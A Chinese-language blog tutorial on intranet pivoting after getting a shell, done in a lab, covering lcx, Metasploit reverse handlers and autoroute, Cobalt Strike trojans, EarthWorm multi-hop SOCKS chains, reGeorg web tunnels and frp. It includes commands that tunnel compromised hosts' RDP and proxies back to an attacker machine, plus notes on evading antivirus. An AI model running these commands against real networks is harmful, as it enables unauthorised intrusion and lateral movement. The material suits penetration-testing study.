1. 程式人生 > >內網滲透—流量轉發

內網滲透—流量轉發

#### 0x00前言 在拿到一臺伺服器的shell的時候,如果想要更進一步滲透測試,則需要進行內網滲透 而內網滲透的第一步就是掛代理,首先需要明確一個概念,在日常生活中常用`vpn`掛代理去google查資料,自己搭過`vpn`的人都知道,要在買的`vps`上搭建`ss的伺服器端`,之後在`自己電腦`上下載`ss的客戶端`,確定對應的加密協議和密碼就能成功轉發 而在內網滲透的流量轉發是一個道理,是在拿到shell的伺服器上使用工具讓它變成代理的伺服器端,之後在本機使用客戶端工具進行連線 #### 0x01流量轉發工具 ##### 需要放在拿到shell的伺服器的伺服器端可使用 1.`lcx` 2.`msf` 3.`cobalt Strike` 4.`earthworm` 5.`reGeorg` ##### 本地的客戶端可以使用 **windows** 1.`proxifier` 2.`SocksCap64` **linux** 1.`proxychains` #### 0x02 本次測試的環境 本次環境是公司搭的一個一層內網學習環境,本篇文章只總結流量轉發的方法,因此大致介紹下簡化的拓撲結構 攻擊機: ip:`10.86.0.87` win10(該ip能訪問到最外層的DMZ區web伺服器) ip: `xx.xx.xx.xx` kali (虛擬機器,與主機win10 進行NAT連線) 被攻擊機: ip: `172.16.3.145` ,`192.168.93.143` web伺服器(雙網絡卡,192為內網ip) ip: `192.168.93.138` 內網伺服器,上面80有個IIS服務(能訪問到該web,則說明代理成功) 明確個概念 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074638650-1047874211.png) 那麼`DMZ區伺服器`彈shell到`kali虛擬機器`要通過本機做埠對映,`kali`要訪問`內網web伺服器`則代理需要設定成本機的埠 #### 0x03 lcx轉發 本工具只是埠流量轉發,並不具備完整的proxy代理功能 舉個例子伺服器只能本地連3389,因此攻擊機連不了,但是可以通過該工具將3389轉發到攻擊機的埠上,就能連線了 拿到shell後,上傳`lcx.exe`檔案 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074648345-1192678217.png) ##### 將自身埠流量轉發到攻擊機埠上 使用方法 本機 接收2333埠來的流量,並在自己的2334埠開啟 ``` lcx.exe –listen 2333 2334 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074658319-1233270304.png) ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074743261-166155685.png) 目標伺服器 將自己的3389的流量轉發到`10.86.0.87攻擊機`的2333埠上 ``` lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074708330-1241748632.png) rdp連線自己的2334埠 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074719110-1787114422.png) ##### 本身流量轉發 這玩意兒還能在自己的上進行埠轉發,比如把3389埠流量轉到自己的2333埠 ``` lcx.exe -tran 2333 127.0.0.1 3389 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074840900-373956289.png) ### 0x04 msf msf它本身有流量轉發的模組,因為本次的msf是在kali虛擬機器裡面的,又因為DMZ區伺服器是沒法訪問到kali的,意味著反彈shell是沒法直接實現的 在使用msf轉發前,使用`frp`將kali的監聽埠對映到本機上 **在本機中使用frps伺服器端** frps.ini的配置如下,確定繫結的埠,token的值,轉發的埠,即可 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074850155-1591431657.png) 啟動 ``` .\frps.exe -c .\frps2.ini ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074901480-1794671232.png) **在kali中使用frpc客戶端** frpc.ini的配置如下,[common]是協議連線的目標,和token憑證,[appName1]~[appName3]是將10.86.0.87的10001埠對映到自己的10001埠 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074910466-1864707427.png) 啟動方式,利用nohup和 &,掛後臺執行 ``` nohup ./frpc -c frpc2.ini & ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074920870-137500053.png) 回過頭來看windows本機,已經有資訊了 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074929545-1571713870.png) 可以使用nc嘗試下,是否映射了 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074937035-1583546964.png) 訪問下windows的10001埠 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074943857-1946644852.png) 再看kali裡面收到了http請求頭 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074950725-845439208.png) **將shell反彈到msf上** 先在msf中進行監聽php的msf的shell ``` use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LPORT 10001 set LHOST 10.86.0.87 run ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075005095-1321854118.png) 現在DMZ伺服器能間接通過的埠對映訪問到kali的埠了,在冰蠍中可以使用設定好的反彈msf的payload ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075014245-799305070.png) 點選給我連,就彈回來啦 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075023220-1550261202.png) **使用msf設定代理** 拿到msf的shell了後,就是上代理了,這裡因為我之前已經掃過網段了,可以確定內網是192.168.93.0/24網段 因此新增路由 ``` meterpreter> run autoroute -s 192.168.93.0/24 ``` 可以檢視 ``` meterpreter> run autoroute -p ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075033675-248396481.png) 接下來將該shell掛起到後臺 ``` meterpreter> background ``` 並且使用sock4a模組進行轉發 ``` use auxiliary/server/socks4a #socks4a socks5都可以 set srvhost 127.0.0.1 set srvport 1084 run ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075043680-64404517.png) kali中直接firefox訪問下192.168.93.80的web,頁面是載入不出來的 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075050445-1509358066.png) 接下來使用proxychains來代理訪問內網的web 設定一下 ``` vim /etc/proxychains.conf ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075100125-1983724403.png) ``` proxychains curl http://192.168.93.138 ``` 即可訪問成功 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075107965-2104610057.png) ### 0x05 Cobalt Strike代理 這個就很好用了,強烈推薦,因為我是在windows上起的cs的伺服器,因此反向代理就是本機不需要埠對映,操作也非常簡單(~~就這玩意兒老斷開連線,可能我電腦的問題~~) 先建立個listener ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075116145-1431572862.png) 生成一個exe的木馬,當然有殺軟的話可以使用powershell或者程式語言執行程式碼直接反彈 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075124140-1110351461.png) 丟到伺服器上執行 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075132161-774095886.png) OK彈回來了 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075138965-1109157169.png) 因為這裡是代理使用的總結,就不深入總結cs的利用,直接使用代理模組 這裡cs有2個代理方式,一個是瀏覽器代理,一個是sock代理 首先看瀏覽器代理 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075147623-653544121.png) ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075154815-1772296615.png) 接下來,就可以使用我本機的瀏覽器,掛代理訪問了,掛代理方式和burp一樣,這裡使用的是本機的4001埠 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075202530-1303623331.png) 設定方式很簡單 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075209665-2053829452.png) 訪問下試試 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075218340-1258549905.png) 在kali虛擬機器中同理,也可以使用這樣的方式訪問web了 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075226460-658447311.png) 但是proxychains是不行的,接下來可以使用cs的另一個代理socks ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075236490-457505741.png) ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075254002-1357346415.png) 接下里配置proxychains ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075304840-2069151272.png) 成功代理 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075312865-1656243153.png) ### 0x06 使用earthworm ew是一個很厲害的軟體,但是因為很厲害所以作者已經關閉下載了.... 他有各種系統的可執行檔案 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075322252-2088686521.png) ew具有lcx的轉發功能,還能執行socks代理 正向代理和反向代理的區別很多文章都有提到,從表面上看正向代理的代理埠和ip是在被攻擊的伺服器上,反向代理的埠和ip是自己的本機 **正向代理** 將對應系統的可執行檔案上傳上去 只需要在伺服器執行 ``` ew_for_Win.exe -s ssocksd -l 2336 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075332680-1623115201.png) 配置好proxychains,代理為172.16.3.145:2336埠,能夠訪問內網了 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075339985-1749638586.png) **反向代理** 在本地使用ew進行埠監聽,意思是將本地從4399接收到的流量轉發到2337埠上 ``` .\ew_for_Win.exe -s rcsocks -l 2337 -e 4399 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075348825-549099668.png) 在跳板的伺服器上執行,將自己的代理服務轉到遠端10.86.0.87伺服器上的4399埠 ``` ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075356985-645905795.png) 嘗試下 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075403641-1389090836.png) **ew具有lcx的功能** 在最上面介紹lcx的時候提到了lcx具有將遠端的埠對映到本地,和將本地的埠A流量轉移到埠B的功能 ew同樣有lcx的功能,使用方法如下,這裡還是拿3389為例 **將遠端埠對映到本地** 在本機起監聽,監聽自己的4399和2338埠,將4399埠收到的資料轉出到2338埠接收 ``` .\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399 ``` 在遠端的伺服器上執行 ``` ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075412235-1020350426.png) **將本機的埠A轉發到埠B** ``` ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389 ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075420730-1935823265.png) **多級代理** ew移植lcx的功能不僅僅是為了集合功能,更重要的是可以憑藉該功能達到多層代理,這裡沒有實際的環境,舉個例子 攻擊機A ,邊間伺服器B,內網1層的伺服器C,內網2層的伺服器D 首先拿到B,掛好代理,只能看到C,但不能看到D,這時候就要藉助EW的轉發功能實現多層內網滲透 ------ 攻擊機A,使用反向代理 將接到的3001埠的流量,開到自己的2001埠上,最終是掛本地2001埠,實現代理的 ``` .\ew_for_Win.exe -s rcsocks -l 2001 -e 3001 ``` 邊界伺服器B,使用流量轉發和流量監聽 流量轉發,將本地4001埠流量轉移到A的3001埠上 ``` .\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001 ``` 流量監聽,將接受到的5001埠的流量轉到自己的4001上 ``` .\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001 ``` 內網1層的伺服器C 反向代理,將自己的5001的socks代理傳給B的5001埠 ``` .\ew_for_Win.exe -s rssocks -d B的ip -e 5001 ``` 綜上所述,訪問到D的流量如下 ``` D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001 ``` 掛A:2001的代理,即可訪問到D ### 0x07 reGeorg `reGeorg`使用起來也很方便,他和以上的幾種工具想比,它不需要在目標上執行程式,只需要把對應的web的指令碼上傳上去能夠訪問即可 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075433160-2088748957.png) `reGeorg`的檔案主要是以web的後臺語言為代理指令碼,因此要使用`reGeorg`的先決條件是需目標具有web服務 這裡的例子是PHP,先上傳`tunnel.php`函式報錯了,之後我上傳了`tunnel.nosocket.php`,則正常工作了 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075441625-31042009.png) tunnel.nosocket.php能正常開啟 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075448565-39413311.png) 接下來在本地,使用python執行它的py指令碼,如果不加-l引數則預設是127.0.0.1的地址開啟的代理,這時kali就沒法使用10.86.0.87,ip來設定代理了 ``` python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075457244-326579865.png) 自己的5432埠即為代理埠 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075503660-2035882974.png) ### 0x08 frp 在部落格搬家的時候,又另外學到一招使用frp進行內網代理的,十分穩定好用,最主要的是frp是正常軟體,殺軟一般不會殺 理清思路,跳板機是frpc,我們的vps是frps,將跳板機的流量轉到vps的一個埠上,代理走vps的轉發埠即可完成內網代理 在跳板機上的frpc.ini內容如下,將tcp的流量使用socks5,壓縮一下轉到遠端埠的8881上 ``` [common] server_addr = mi0.xyz server_port = 7000 token = xxxxxx [socks_proxy] type = tcp remote_port = 8881 plugin = socks5 use_compression = true ``` 在vps伺服器上的frps.ini ``` [common] bind_addr = 0.0.0.0 bind_port = 7000 token = xxxxx ``` 之後先在vps上啟動frps.ini ``` nohup ./frps -c frps.ini & ``` 在跳板機上啟動frpc.ini ``` #linux nohup ./frpc -c frpc.ini & #windows ./frpc.exe -c frpc.ini ``` ### 0x09代理客戶端 在最前面講到有3個代理的客戶端,其中`proxychains`是linux下的,也是上面各種工具使用時候,使用的代理方式驗證,`proxifier`和`SocksCap64`均是windows下的工具,有圖形化的介面,免費的。`proxifier`隨便找個啟用碼即可 ##### proxychains 安裝,kali自帶的 ``` apt-get install proxychains ``` 直接修改`/etc/proxychains.conf`檔案 在最下面的`[ProxyList]`中以以下格式設定代理 ``` socks4 ip port 或者 socks5 ip port ``` ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075513205-1831848830.png) 使用方法也很簡單,這樣msf就能本身掛代理了 ``` proxychains msfconsole ``` 但是`proxychains`有些命令不支援,比如`ping` ##### proxifier 該工具是windows下的,配置有2個注意點即可 1.配置代理的ip和埠 2.配置走代理的exe程式 以剛剛的reGeorg代理為例 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075522125-1410544264.png) 配置好了代理的伺服器,接下來配置哪些服務走該代理 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075527966-1673456296.png) Direct是直連,即不走代理的意思, proxy SOCKS5 即是剛剛設定的代理,當前設定是firefox走代理,chrome.exe不走代理 這個規則表和配置交換機的ACL協議一樣,從上往下讀協議的 如果要burp抓包,則使用Any,Any,Any,即全部應用都走代理即可 ##### SocksCap64 和`proxifier`很相似,先設定代理 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075534940-448195661.png) 接下來右鍵下面的應用,選擇在代理隧道中執行即可,該應用也可以新增 這裡在代理隧道中執行chrome,即可訪問內網的web服務 ![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075546880-1187512310.png) ### 0x09 結語 掛代理思路清楚了是比較簡單的事情,滲透測試和CTF稍微不同的地方在於,CTF注重原理,深入到程式碼的寫法問題,而滲透測試則注重工具的使用。lcx和ew很容易被殺軟殺掉,但是在比較low或者比賽或者學習的環境中或者關掉殺軟的情況下還是比較好